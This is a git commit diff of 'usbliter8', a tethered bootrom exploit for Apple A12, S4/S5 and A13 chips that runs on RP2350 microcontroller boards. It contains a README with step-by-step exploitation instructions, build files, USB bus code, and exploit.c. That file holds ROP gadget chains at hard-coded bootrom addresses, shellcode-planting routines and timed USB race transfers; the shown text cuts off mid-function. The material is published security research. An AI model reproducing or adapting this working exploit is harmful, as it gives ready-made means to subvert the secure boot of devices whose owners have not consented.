Initial commit

This commit is contained in:
Paradigm Shift
2026-06-18 14:22:10 +02:00
commit afe8b5c899
68 changed files with 6980 additions and 0 deletions
+8
View File
@@ -0,0 +1,8 @@
.DS_Store
/artifacts
/build
/t8020_t8006_shellcode/build
/t8030_shellcode/build
/usb_req_handler/build
/.cache
/.vscode
+57
View File
@@ -0,0 +1,57 @@
cmake_minimum_required(VERSION 3.13)
# ====================================================================================
include(pico_sdk_import.cmake)
project(usbliter8 C CXX ASM)
set(CMAKE_BUILD_TYPE MinSizeRel)
SET(BOARD_DEFINITION ${CMAKE_SOURCE_DIR}/boards/${PICO_BOARD}.cmake)
if (NOT EXISTS ${BOARD_DEFINITION})
SET(BOARD_DEFINITION ${CMAKE_SOURCE_DIR}/boards/unknown.cmake)
endif()
include(${BOARD_DEFINITION} OPTIONAL)
if (NOT DEFINED USBLITER8_ENABLE_SHELL)
add_compile_definitions(
WITH_AUTO_MODE=1
)
endif()
pico_sdk_init()
add_executable(usbliter8
main.c
led.c
bus.c
usb.c
exploit.c
)
pico_set_program_name(usbliter8 "usbliter8")
pico_set_program_version(usbliter8 "1.0")
target_compile_definitions(usbliter8 PRIVATE
PICO_STACK_SIZE=0x1000
PICO_PRINTF_SUPPORT_EXPONENTIAL=0
PICO_PRINTF_SUPPORT_FLOAT=0
PICO_PRINTF_SUPPORT_PTRDIFF_T=0
)
pico_enable_stdio_uart(usbliter8 0)
pico_enable_stdio_usb(usbliter8 1)
add_subdirectory(pio_usb)
target_link_libraries(usbliter8
pico_stdlib
pico_status_led
hardware_pwm
pio_usb
)
pico_add_extra_outputs(usbliter8)
+139
View File
@@ -0,0 +1,139 @@
# usbliter8
Tethered bootrom exploit for Apple A12, S4/S5 & A13 SoCs (A12X/Z can theoretically be supported as well, but it's not implemented yet).
## Bug & exploit write-up
Available in [our blogpost](https://ps.tc/pages/blog-usbliter8.html).
## Usage
### Hardware requirements
The exploit abuses a very low level bug of the USB controller. This means that default Mac/PC USB stack can't normally reach it. So instead we use Raspberry Pi's RP2350-based microcontroller boards.
The board we use is [**Waveshare RP2350 USB-A**](https://www.waveshare.com/wiki/RP2350-USB-A) with Lightning to USB-A cable and R13 resistor *optionally* [removed](https://qsantos.fr/2025/11/21/fixing-the-rp2350-usb-a-not-working-as-usb-host/).
Other RP2350-based boards can be used as well if you cut a Lightning cable and solder it directly to corresponding pins.
Typically GPIO12 & 13 are used for D+ & D- signals respectively, but that's configurable. Do NOT use USB-C cables, as those often have a very different pinout. And keep the remaining cable (with the Lightning end) relatively short.
Here is a list of the boards we tested the exploit on:
* Waveshare RP2350 USB-A
* Waveshare RP2350 Zero
* Pimoroni TINY2350
* Raspberry Pi Pico 2
RP2040 can be theoretically used as well, but this is currently **NOT** very stable and Apple A13 SoC does **NOT** work at all.
### Flashing firmware
Compiled **UF2** images for the boards mentioned above are available in Releases section. They can be flashed either via mass storage protocol of RP2350 bootrom or via [picotool](https://github.com/raspberrypi/picotool).
If your board is not among supported ones, you can create your own board configuaration file (in `/boards` folder) and refer to building instructions that come later in this README.
### Exploiting
1. Enter [DFU mode](https://theapplewiki.com/wiki/DFU_Mode#A11_and_newer_devices_without_clickable_home_buttons_(iPhone_8_and_above,_iPad_Pro_2018_and_above,_iPad_Mini_2021,_iPad_Air_2020_and_above,_iPad_10th_generation)). Do this while device is connected to your Mac/PC
* Do NOT enter DFU by breaking LLB - this will not work
2. Unplug it from Mac/PC and replug it into your RP2350 board
3. In a few seconds, the exploit will finish
There are 2 ways you can watch the process:
1. RP2350 appears as a virtual COM-port - the exploit logs will be printed there
2. Via on-board LED
If LED is RGB:
1. Blinking orange - RP2350 is booting (takes ~2 second)
2. Steady orange - idle, ready to exploit
3. Blue - exploit in progress
4. Green - exploit succeeded!
5. Red - exploit failed
If LED is single-color:
1. Slow blinking (200ms period) - RP2350 is booting (takes ~2 second)
2. Breathing - idle, ready to exploit
3. Rapid blinking (100 ms) - exploit in progress
4. Steady - exploit succeeded!
5. Off - exploit failed
The exploit takes 0.7 - 1.2 seconds to run. After either success or failure, you need to reboot the microcontroller board - via on-board button, or via `picotool`, or just by replugging power.
### After exploiting
Replug the device back to your Mac/PC.
In USB serial number you shall see PWND string in the end, for instance:
```
CPID:8020 CPRV:11 CPFM:03 SCEP:01 BDID:0E ECID:XXXXXXXXXXXXXXXX IBFL:3C SRTG:[iBoot-3865.0.0.4.7] PWND:[usbliter8]
```
There is a Python control tool (`usbliter8ctl`) in the repo which allows you to demote production mode or boot raw iBoot ("raw" as in decrypted and free of any container).
The control tool depends on `pyusb` that you can get from **pip**.
```
➜ usbliter8 git:(main) ✗ ./usbliter8ctl
usage: usbliter8ctl [-h] {boot,demote} ...
Love is Control
positional arguments:
{boot,demote}
boot boot raw iBoot
demote demote production mode
options:
-h, --help show this help message and exit
```
## Building
If you want to compile the firmware yourself, you need to get CMake, [Pico SDK](https://github.com/raspberrypi/pico-sdk), [picotool](https://github.com/raspberrypi/picotool) (depends on `libusb`) and [ARM toolchain](https://developer.arm.com/downloads/-/arm-gnu-toolchain-downloads).
Due to the racy nature of the exploit, code changes (even seemingly unrelated) might decrease reliability. We believe this is due to RP2350 executing code from external QSPI flash. The actual instructions can go to a little cache, and then evictions from that cache break timings and then the entire thing breaks.
Here are the exact versions of Pico SDK and ARM toolchain that we used:
* Pico SDK - SDK Release 2.2.0 (commit `a1438dff1d38bd9c65dbd693f0e5db4b9ae91779`)
* ARM toolchain - 15.2.Rel1
```
cd usbliter8
cmake -S . -B build -DPICO_BOARD=$PICO_BOARD -DPICO_SDK_PATH=$PICO_SDK_PATH -DPICO_TOOLCHAIN_PATH=$PICO_TOOLCHAIN_PATH
cmake --build build
```
Change `$PICO_SDK_PATH` and `$PICO_TOOLCHAIN_PATH` to your paths. `$PICO_BOARD` is one of the following:
* waveshare_rp2350_usb_a
* waveshare_rp2350_zero
* pimoroni_tiny2350
* pico2
Even though usage of RP2040 is discouraged, you can still try:
* adafruit_feather_rp2040
* pico
You can also add your own board definition file to `/board` catalog. The board name must match board name in Pico SDK.
Or use the "unknown" one (picked by default for not supported boards). It uses GPIO12/13 for USB data signals and disables LED.
## Authors
* [@__gsch](https://x.com/__gsch) of Paradigm Shift - bug & exploitation
* [@hdesk@infosec.exchange](https://infosec.exchange/@hdesk/) of Paradigm Shift - exploitation
* **REDACTED** of Paradigm Shift - post-exploitation & development
## Credits
* **sekigon-gonnoc** - for the [PIO USB library](https://github.com/sekigon-gonnoc/Pico-PIO-USB)
+8
View File
@@ -0,0 +1,8 @@
add_compile_definitions(
BOARD_NAME="Adafruit Feather RP2040"
PIO_USB_DP_PIN_DEFAULT=12
LED_NEOPIXEL=1
)
# MinSizeRel breaks usb_task() on RP2040...
set(CMAKE_BUILD_TYPE Release)
+10
View File
@@ -0,0 +1,10 @@
add_compile_definitions(
BOARD_NAME="Raspberry Pi Pico"
PIO_USB_DP_PIN_DEFAULT=12
# Seems to break reliability even further, IDK
# LED_SINGLE_COLOR=1
# LED_PIN=PICO_DEFAULT_LED_PIN
)
# MinSizeRel breaks usb_task() on RP2040...
set(CMAKE_BUILD_TYPE Release)
+6
View File
@@ -0,0 +1,6 @@
add_compile_definitions(
BOARD_NAME="Raspberry Pi Pico 2"
PIO_USB_DP_PIN_DEFAULT=12
LED_SINGLE_COLOR=1
LED_PIN=PICO_DEFAULT_LED_PIN
)
+9
View File
@@ -0,0 +1,9 @@
add_compile_definitions(
BOARD_NAME="Pimoroni TINY2350"
PIO_USB_DP_PIN_DEFAULT=2
LED_RGB_PWM=1
LED_RGB_ACTIVE_LOW=1
LED_RGB_RED_PIN=TINY2350_LED_R_PIN
LED_RGB_GREEN_PIN=TINY2350_LED_G_PIN
LED_RGB_BLUE_PIN=TINY2350_LED_B_PIN
)
+4
View File
@@ -0,0 +1,4 @@
add_compile_definitions(
BOARD_NAME="UNKNOWN"
PIO_USB_DP_PIN_DEFAULT=12
)
+5
View File
@@ -0,0 +1,5 @@
add_compile_definitions(
PIO_USB_DP_PIN_DEFAULT=12
LED_NEOPIXEL=1
LED_RED_GREEN_SWAPPED=1
)
+5
View File
@@ -0,0 +1,5 @@
add_compile_definitions(
BOARD_NAME="Waveshare RP2350 USB-A"
)
include(boards/waveshare_rp2350_base.cmake)
+5
View File
@@ -0,0 +1,5 @@
add_compile_definitions(
BOARD_NAME="Waveshare RP2350 Zero"
)
include(boards/waveshare_rp2350_base.cmake)
+26
View File
@@ -0,0 +1,26 @@
#!/bin/bash
set -e
BOARDS=(
waveshare_rp2350_usb_a
waveshare_rp2350_zero
pimoroni_tiny2350
pico2
# adafruit_feather_rp2040
# pico
)
rm -rf artifacts
mkdir -p artifacts
for b in "${BOARDS[@]}"
do
rm -rf build
echo "building for $b"
cmake -S . -B build -DPICO_BOARD=$b -DPICO_SDK_PATH=$PICO_SDK_PATH -DPICO_TOOLCHAIN_PATH=$PICO_TOOLCHAIN_PATH
cmake --build build -j24
cp build/usbliter8.uf2 artifacts/usbliter8.$b.uf2
done
rm -rf build
+98
View File
@@ -0,0 +1,98 @@
#include "bus.h"
#include <pico/time.h>
#include <stdio.h>
#include <string.h>
#include "hardware/sync.h"
#include "pico/stdlib.h"
#include "pio_usb.h"
#include "pio_usb_ll.h"
#include "usb_definitions.h"
void bus_init(bus_t *b, bool skip_alarm_pool) {
pio_usb_configuration_t cfg = PIO_USB_DEFAULT_CONFIG;
cfg.skip_alarm_pool = skip_alarm_pool;
b->dev = pio_usb_host_init(&cfg);
b->root = PIO_USB_ROOT_PORT(0);
b->pp = PIO_USB_PIO_PORT(0);
b->maxpacket0 = 8;
}
bool bus_wait_for_connect(bus_t *b) {
while (!b->root->connected) {
sleep_ms(10);
tight_loop_contents();
}
return true;
}
void bus_close_all(bus_t *b) {
pio_usb_host_close_device(0, b->dev->address);
}
void bus_reset(bus_t *b, uint32_t hold_ms) {
pio_usb_host_port_reset_start(0);
sleep_ms(hold_ms);
pio_usb_host_port_reset_end(0);
sleep_ms(50); // recovery + slack
b->dev->connected = true;
b->dev->is_fullspeed = b->root->is_fullspeed;
b->dev->is_root = true;
b->dev->root = b->root;
b->dev->address = 0;
}
bool bus_open_ep0(bus_t *b, uint8_t maxpacket) {
endpoint_descriptor_t ep0 = {
.length = 7,
.type = DESC_TYPE_ENDPOINT,
.epaddr = 0x00,
.attr = EP_ATTR_CONTROL,
.max_size = {maxpacket, 0},
.interval = 0,
};
if (!pio_usb_host_endpoint_open(0, b->dev->address, (const uint8_t *)&ep0, false)) {
return false;
}
b->maxpacket0 = maxpacket;
return true;
}
void bus_reset_ep0_reopen(bus_t *b) {
bus_close_all(b);
bus_reset(b, 20);
bus_open_ep0(b, 64);
}
int bus_control_xfer(bus_t *b, const uint8_t setup[8], uint8_t *data, uint16_t data_len, bool data_in, uint32_t timeout_ms) {
bool has_data = (data != NULL) && (data_len > 0);
b->dev->control_pipe.stage = STAGE_SETUP;
b->dev->control_pipe.operation = data_in ? CONTROL_IN : CONTROL_OUT;
b->dev->control_pipe.rx_buffer = data_in ? data : NULL;
b->dev->control_pipe.request_length = data_in ? data_len : 0;
b->dev->control_pipe.out_data_packet.tx_address = (!data_in && has_data) ? data : NULL;
b->dev->control_pipe.out_data_packet.tx_length = (!data_in && has_data) ? data_len : 0;
if (!pio_usb_host_send_setup(0, b->dev->address, setup)) {
return -1;
}
absolute_time_t deadline = make_timeout_time_ms(timeout_ms);
while (b->dev->control_pipe.operation != CONTROL_COMPLETE && b->dev->control_pipe.operation != CONTROL_ERROR) {
if (time_reached(deadline)) {
return -2;
}
tight_loop_contents();
}
return (b->dev->control_pipe.operation == CONTROL_COMPLETE) ? 0 : -1;
}
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#include "pio_usb.h"
#include "pio_usb_ll.h"
typedef struct {
pio_port_t *pp;
root_port_t *root;
usb_device_t *dev;
uint8_t maxpacket0;
} bus_t;
void bus_init(bus_t *b, bool skip_alarm_pool);
bool bus_wait_for_connect(bus_t *b);
void bus_reset_ep0_reopen(bus_t *b);
void bus_reset(bus_t *b, uint32_t hold_ms);
void bus_close_all(bus_t *b);
bool bus_open_ep0(bus_t *b, uint8_t maxpacket);
int bus_control_xfer(bus_t *b, const uint8_t setup[8],
uint8_t *data, uint16_t data_len, bool data_in,
uint32_t timeout_ms);
+842
View File
@@ -0,0 +1,842 @@
#include "exploit.h"
#include <pico/time.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <hardware/sync.h>
#include "pico/stdlib.h"
#include "usb_crc.h"
#include "pio_usb.h"
#include "pio_usb_ll.h"
#include "usb_definitions.h"
#include "log.h"
#include "led.h"
#include "usb.h"
#include "bus.h"
// ======================== Device identification ========================
struct usb_setup_req_header {
uint8_t bmRequestType;
uint8_t bRequest;
uint16_t wValue;
uint16_t wIndex;
uint16_t wLength;
} __attribute__((packed));
struct usb_device_descriptor {
uint8_t bLength;
uint8_t bDescriptorType;
uint16_t bcdUSB;
uint8_t bDeviceClass;
uint8_t bDeviceSubClass;
uint8_t bDeviceProtocol;
uint8_t bMaxPacketSize;
uint16_t idVendor;
uint16_t idProduct;
uint16_t bcdDevice;
uint8_t iManufacturer;
uint8_t iProduct;
uint8_t iSerialNumber;
uint8_t bNumConfigurations;
} __attribute__((packed));
static
uint16_t decode_usb_sn_cpid(const char *serial) {
char raw_cpid[4 + 1] = { 0 };
const char *cpid_pos = strstr(serial, "CPID:");
if (!cpid_pos) {
goto fail;
}
cpid_pos += sizeof("CPID:") - 1;
memcpy(raw_cpid, cpid_pos, 4);
char *end = NULL;
uint16_t cpid = strtoul(raw_cpid, &end, 16);
if (!end || *end != '\0') {
goto fail;
}
return cpid;
fail:
INFO("couldn't decode CPID!");
return 0;
}
struct dev_identify_ctx {
uint16_t cpid;
bool pwnd;
};
static
int device_identify_internal(bus_t *b, void *_ctx) {
int rc = 0;
static uint8_t raw_serial[256] = { 0 };
static char serial[128] = { 0 };
struct usb_device_descriptor dev_desc = { 0 };
struct dev_identify_ctx *ctx = _ctx;
struct usb_setup_req_header dev_desc_req = {
.bmRequestType = 0x80,
.bRequest = 0x06,
.wValue = 0x0100,
.wIndex = 0x0000,
.wLength = sizeof(dev_desc)
};
rc = bus_control_xfer(b, (uint8_t *)&dev_desc_req, (uint8_t *)&dev_desc, sizeof(dev_desc), true, 100);
if (rc != 0) {
return -2;
}
if (dev_desc.idVendor != 0x5AC || dev_desc.idProduct != 0x1227) {
INFO("VID:0x%04X PID:0x%04X is not an Apple DFU device", dev_desc.idVendor, dev_desc.idProduct);
return -1;
}
struct usb_setup_req_header sn_req_pre = {
.bmRequestType = 0x80,
.bRequest = 0x06,
.wValue = 0x0300 | (dev_desc.iSerialNumber),
.wIndex = 0x0000,
.wLength = 0x0002
};
rc = bus_control_xfer(b, (uint8_t *)&sn_req_pre, raw_serial, 2, true, 100);
if (rc != 0) {
INFO("failed to request serial number (preflight)");
return rc;
}
uint8_t type = raw_serial[1];
if (type != 0x03) {
INFO("this doesn't look like a string descriptor");
return -1;
}
uint8_t len = raw_serial[0] - 2;
struct usb_setup_req_header sn_req = {
.bmRequestType = 0x80,
.bRequest = 0x06,
.wValue = 0x0300 | (dev_desc.iSerialNumber),
.wIndex = 0x0000,
.wLength = 0x0002 + len
};
rc = bus_control_xfer(b, (uint8_t *)&sn_req, raw_serial, sn_req.wLength, true, 100);
if (rc != 0) {
INFO("failed to request serial number");
return rc;
}
int i = 0;
for (; i < len / 2; i++) {
serial[i] = raw_serial[2 + i*2];
}
serial[i] = '\0';
INFO("got Apple DFU device:");
INFO("%s", serial);
ctx->cpid = decode_usb_sn_cpid(serial);
if (ctx->cpid == 0) {
return -1;
}
ctx->pwnd = strstr(serial, " PWND:[") != NULL;
return 0;
}
#define DEFAULT_USB_TIMEOUT (200 * 1000)
int device_identify(uint16_t *cpid, bool *pwnd) {
struct dev_identify_ctx ctx = {0};
int ret = usb_bus_execute(device_identify_internal, &ctx, DEFAULT_USB_TIMEOUT);
if (ret == 0) {
*cpid = ctx.cpid;
*pwnd = ctx.pwnd;
}
return ret;
}
// ======================== Overwrite buffers ========================
__attribute__((aligned(64)))
static uint32_t t8020_t8006_overwrite[0xC00 / 4] = { 0 };
__attribute__((aligned(64)))
static uint32_t t8020_t8006_shellcode[0x400 / 4] = { 0 };
// The overwrite goes in a weird order,
// so we gotta convert our payloads accordingly
static
void SET32(uint32_t *buf, uint64_t start, uint64_t addr, uint32_t val) {
uint32_t off = start - addr;
uint32_t group = off / (4 * 3);
uint32_t left = off % (4 * 3);
if (left) {
group += 1;
}
uint32_t ov_off = group * 3 + (left ? (12 - left) / 4 : 0) - 3 - 1;
buf[ov_off] = val;
}
static
void SET64(uint32_t *buf, uint64_t start, uint64_t addr, uint64_t val) {
uint32_t lo = val & (0xFFFFFFFF);
uint32_t hi = (val >> 32);
SET32(buf, start, addr, lo);
SET32(buf, start, addr + 4, hi);
}
static
void SETMANY(uint32_t *buf, uint64_t start, uint64_t addr, const void *data, size_t len) {
for (size_t i = 0; i < len; i += 4) {
uint32_t val = *(uint32_t *)(data + i);
SET32(buf, start, addr + i, val);
}
}
// ================== Overwrite transfer implementation ==================
volatile uint16_t crazy_delay = 0; // sleep between attempts (us)
#define N_TIMEOUT_THRESHOLD 64 // having too many timeouts is a failure, for sure
#define PRINT_EVERY 128 // emit a progress line every X attempts (DEBUG mode only)
#define PB_MAX_PAYLOAD 256
#define PB_ENCODED_BUF_SIZE(raw_bytes) (((raw_bytes) * 2 * 7 / 6) + 8)
size_t pb_data(uint8_t pid_data, const uint8_t *payload, size_t payload_len, uint8_t encoded[]) {
uint8_t raw[2 + PB_MAX_PAYLOAD + 2] = { 0 };
raw[0] = USB_SYNC;
raw[1] = pid_data;
if (payload && payload_len) {
memcpy(&raw[2], payload, payload_len);
}
uint16_t crc = calc_usb_crc16(payload, payload_len);
raw[2 + payload_len] = crc & 0xff;
raw[2 + payload_len + 1] = (crc >> 8) & 0xff;
return pio_usb_ll_encode_tx_data(raw, 2 + payload_len + 2, encoded);
}
__always_inline
static int pb_transfer(bus_t *b, int token, void *enc_data, size_t enc_len) {
uint8_t hs = -1;
pio_port_t *pp = b->pp;
uint32_t irq = save_and_disable_interrupts();
{
pio_usb_bus_prepare_receive(pp);
pio_usb_bus_send_token(pp, token, b->dev->address, 0);
pio_usb_bus_usb_transfer(pp, enc_data, enc_len);
pio_usb_bus_start_receive(pp);
hs = pio_usb_bus_wait_handshake(pp);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
}
restore_interrupts(irq);
return hs;
}
struct crazy_counter {
uint32_t n_ack;
uint32_t n_timeout;
uint32_t n_other;
uint32_t attempts;
};
__always_inline
static int counter_advance(struct crazy_counter *cnt, uint8_t hs) {
cnt->attempts++;
switch (hs) {
case USB_PID_ACK: cnt->n_ack++; break;
case 0: cnt->n_timeout++; break;
default: cnt->n_other++; break;
}
if (cnt->n_timeout > N_TIMEOUT_THRESHOLD) {
INFO("too many timeouts, failing");
return -1;
}
return 0;
}
static int crazy_transfer(bus_t *b, uint32_t buf[], uint32_t n_iter) {
struct crazy_counter cnt = { 0 };
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
register uint64_t delay = crazy_delay;
DEBUG("target=%ld ACKs, delay=%dus", n_iter, delay);
while (cnt.n_ack < n_iter) {
uint32_t pattern = buf[cnt.n_ack];
size_t enc_len = pb_data(USB_PID_DATA0, (void *)&pattern, sizeof(pattern), encoded);
uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len);
if (counter_advance(&cnt, hs) != 0) {
return -1;
}
sleep_us(delay);
}
DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)", cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts);
return 0;
}
// ======================== T8020 & T8006 stuff ========================
// This is common for both T8020 & T8006
#define TASK_SLEEP_US (400000)
struct t8020_t8006_config {
uint16_t cpid;
uint16_t delay;
uint64_t ov_start;
uint32_t ov_size;
uint64_t shc_base;
uint64_t shc_start;
uint32_t shc_size;
void (*create_overwrite)(struct t8020_t8006_config *);
void (*create_shellcode)(struct t8020_t8006_config *);
};
#include "resources/descriptors_t8020.h"
#include "resources/shellcode_t8020.h"
#include "resources/handler_t8020.h"
void t8020_create_overwrite(struct t8020_t8006_config *config) {
uint64_t ov_start = config->ov_start;
// new LR - load X19
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b18, 0x10000FC30);
// load X19 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b58, 0x19C028D00); // X19
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b68, 0x100007510); // next LR - load W8
SET64(t8020_t8006_overwrite, ov_start, 0x19c028d00, 0x19C018400); // set X19 value for store
// load W8 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b78, 0x239100b14); // X19 - write addr for next step
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b88, 0x100007358); // next LR - store W8 to X19
// store W8 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x19c028ba8, 0x10000e2bc); // next LR - load W0
SET64(t8020_t8006_overwrite, ov_start, 0x19c028b90, 0x19c028d00); // X20 - delay addr - 8
SET32(t8020_t8006_overwrite, ov_start, 0x19c028d08, TASK_SLEEP_US); // set delay value
// load W0 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bd8, 0x100003948); // next LR - BLR X19
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bc8, 0x100009880); // X19 - task_sleep()
// BLR X19 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x19c028c28, 0x1000088B0); // next LR - escalate to EL1
SET64(t8020_t8006_overwrite, ov_start, 0x19c028c00, 0x19C034000); // X22
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bf8, 0x19C034000); // X23
SET64(t8020_t8006_overwrite, ov_start, 0x19c028bf0, 0x100000200); // X24 - lol
// put back (some of) the stuff we destroy
SETMANY(t8020_t8006_overwrite, ov_start, 0x19c029400, ov_descriptors_t8020, sizeof(ov_descriptors_t8020));
}
void t8020_create_shellcode(struct t8020_t8006_config *config) {
uint64_t shc_start = config->shc_start;
uint64_t shc_base = config->shc_base;
SETMANY(t8020_t8006_shellcode, shc_start, shc_base, shellcode_t8020, sizeof(shellcode_t8020));
uint32_t aligned = (sizeof(handler_t8020) + (16 - 1)) & ~(16 - 1);
SET32(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8020) - 0x10, aligned);
SETMANY(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8020), handler_t8020, sizeof(handler_t8020));
}
struct t8020_t8006_config t8020_config = {
0x8020,
#if PICO_RP2350
10,
#elif PICO_RP2040
5,
#endif
0x19C02960C,
0xB04,
0x19C018000,
0x19C0183EC,
0x400,
t8020_create_overwrite,
t8020_create_shellcode
};
#include "resources/descriptors_t8006.h"
#include "resources/shellcode_t8006.h"
#include "resources/handler_t8006.h"
void t8006_create_overwrite(struct t8020_t8006_config *config) {
uint64_t ov_start = config->ov_start;
// new LR - load X19
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b18, 0x10000FBB8);
// load X19 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b58, 0x1801d8d00); // X19
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b68, 0x100008048); // next LR - load W8
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8d00, 0x1801C8400); // set X19 value for store
// load W8 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b78, 0x230100B14); // X19 - write addr for next step
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b88, 0x10000771C); // next LR - store W8 to X19
// store W8 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8ba8, 0x10000E25C); // next LR - load W0
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8b90, 0x1801d8d00); // X20 - delay addr - 8
SET32(t8020_t8006_overwrite, ov_start, 0x1801d8d08, TASK_SLEEP_US); // set delay value
// load W0 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bd8, 0x10000375C); // next LR - BLR X19
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bc8, 0x1000097DC); // X19 - task_sleep()
// BLR X19 gadget frame
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8c28, 0x100008848); // next LR - escalate to EL1
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8c00, 0x1801C4000); // X22
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bf8, 0x1801C4000); // X23
SET64(t8020_t8006_overwrite, ov_start, 0x1801d8bf0, 0x100000200); // X24 - lol
// put back (some of) the stuff we destroy
SETMANY(t8020_t8006_overwrite, ov_start, 0x1801d9400, ov_descriptors_t8006, sizeof(ov_descriptors_t8006));
}
void t8006_create_shellcode(struct t8020_t8006_config *config) {
uint64_t shc_start = config->shc_start;
uint64_t shc_base = config->shc_base;
SETMANY(t8020_t8006_shellcode, shc_start, shc_base, shellcode_t8006, sizeof(shellcode_t8006));
uint32_t aligned = (sizeof(handler_t8006) + (16 - 1)) & ~(16 - 1);
SET32(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8006) - 0x10, aligned);
SETMANY(t8020_t8006_shellcode, shc_start, shc_base + sizeof(shellcode_t8006), handler_t8006, sizeof(handler_t8006));
}
struct t8020_t8006_config t8006_config = {
0x8006,
#if PICO_RP2350
20,
#elif PICO_RP2040
10,
#endif
0x1801D960C,
0xB04,
0x1801C8000,
0x1801C83EC,
0x400,
t8006_create_overwrite,
t8006_create_shellcode
};
int t8020_t8006_exploit_run(bus_t *b, void *ctx) {
uint16_t cpid = *(uint16_t *)ctx;
struct t8020_t8006_config *config = NULL;
switch (cpid) {
case 0x8020:
config = &t8020_config;
break;
case 0x8006:
config = &t8006_config;
break;
default:
INFO("bad CPID 0x%04X passed!", cpid);
return -1;
}
memset(t8020_t8006_overwrite, 0, sizeof(t8020_t8006_overwrite));
memset(t8020_t8006_shellcode, 0, sizeof(t8020_t8006_shellcode));
crazy_delay = config->delay;
INFO("start");
/* ============ initializing overwrite ============ */
config->create_overwrite(config);
/* ============ initializing shellcodes ============ */
config->create_shellcode(config);
/* ========== doing the initial overwrite ========== */
if (crazy_transfer(b, t8020_t8006_overwrite, config->ov_size / 4) != 0) {
INFO("initial overwrite FAILED");
return -1;
}
/* ============ planting the shellcode ============ */
sleep_ms(5);
if (crazy_transfer(b, t8020_t8006_shellcode, config->shc_size / 4) != 0) {
INFO("planting shellcode FAILED");
return -1;
}
/* ======== giving the ROM a chance to pwn ======== */
sleep_ms(486); // let's have some respect for x86 also
return 0;
}
// ============================ T8030 stuff ============================
#define T8030_CRAZY_DELAY 2
int __no_inline_not_in_flash_func(fcall_crazy_transfer)(bus_t *b, uint64_t pc, uint64_t arg0) {
struct crazy_counter cnt = { 0 };
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
DEBUG("delay=%dus", T8030_CRAZY_DELAY);
while (cnt.n_ack < 7) {
uint64_t pattern = 0;
size_t setup_size = 8;
if ((!cnt.n_ack) || (cnt.n_ack == 4) || (cnt.n_ack == 5)) {
setup_size = 4;
}
if (cnt.n_ack == 3) {
pattern = arg0;
}
if (cnt.n_ack == 6) {
pattern = pc;
}
size_t enc_len = pb_data(USB_PID_DATA0, (void *)&pattern, setup_size, encoded);
uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len);
if (counter_advance(&cnt, hs) != 0) {
return -1;
}
if ((cnt.attempts % PRINT_EVERY) == 0) {
DEBUG(" [att=%6ld ack=%6ld/7] ACK=%ld TIMEOUT=%ld other=%ld",
cnt.attempts, cnt.n_ack, cnt.n_ack, cnt.n_timeout, cnt.n_other);
}
// sleep_us(T8030_CRAZY_DELAY);
}
DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)",
cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts);
return 0;
}
bool reset_dma_buf(bus_t *b) {
uint32_t pattern = 0x41414242;
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
size_t enc_len = pb_data(USB_PID_DATA1, (const uint8_t *)&pattern, sizeof(pattern), encoded);
uint8_t hs = pb_transfer(b, USB_PID_OUT, encoded, enc_len);
sleep_us(T8030_CRAZY_DELAY);
DEBUG("done, handshake: %d\n", hs);
return hs == USB_PID_ACK;
}
int __no_inline_not_in_flash_func(push_base)(bus_t *b, uint32_t n_iter) {
struct crazy_counter cnt = { 0 };
uint8_t encoded[PB_ENCODED_BUF_SIZE(2 + 8 + 2)] = { 0 };
DEBUG("target=%ld ACKs, delay=%dus",
n_iter, T8030_CRAZY_DELAY);
uint32_t pattern = 0x41424344;
size_t enc_len = pb_data(USB_PID_DATA0, (const uint8_t *)&pattern, sizeof(pattern), encoded);
#if DEBUG_ENABLED
absolute_time_t start_race = get_absolute_time();
#endif
while (cnt.n_ack < n_iter) {
uint8_t hs = pb_transfer(b, USB_PID_SETUP, encoded, enc_len);
if (counter_advance(&cnt, hs) != 0) {
return -1;
}
if ((cnt.attempts % PRINT_EVERY) == 0) {
DEBUG(" [att=%6ld ack=%6ld/%ld] ACK=%ld TIMEOUT=%ld other=%ld",
cnt.attempts, cnt.n_ack, n_iter, cnt.n_ack, cnt.n_timeout, cnt.n_other);
}
// sleep_us(T8030_CRAZY_DELAY);
}
#if DEBUG_ENABLED
absolute_time_t end_race = get_absolute_time();
#endif
DEBUG("race - %lld us", absolute_time_diff_us(start_race, end_race));
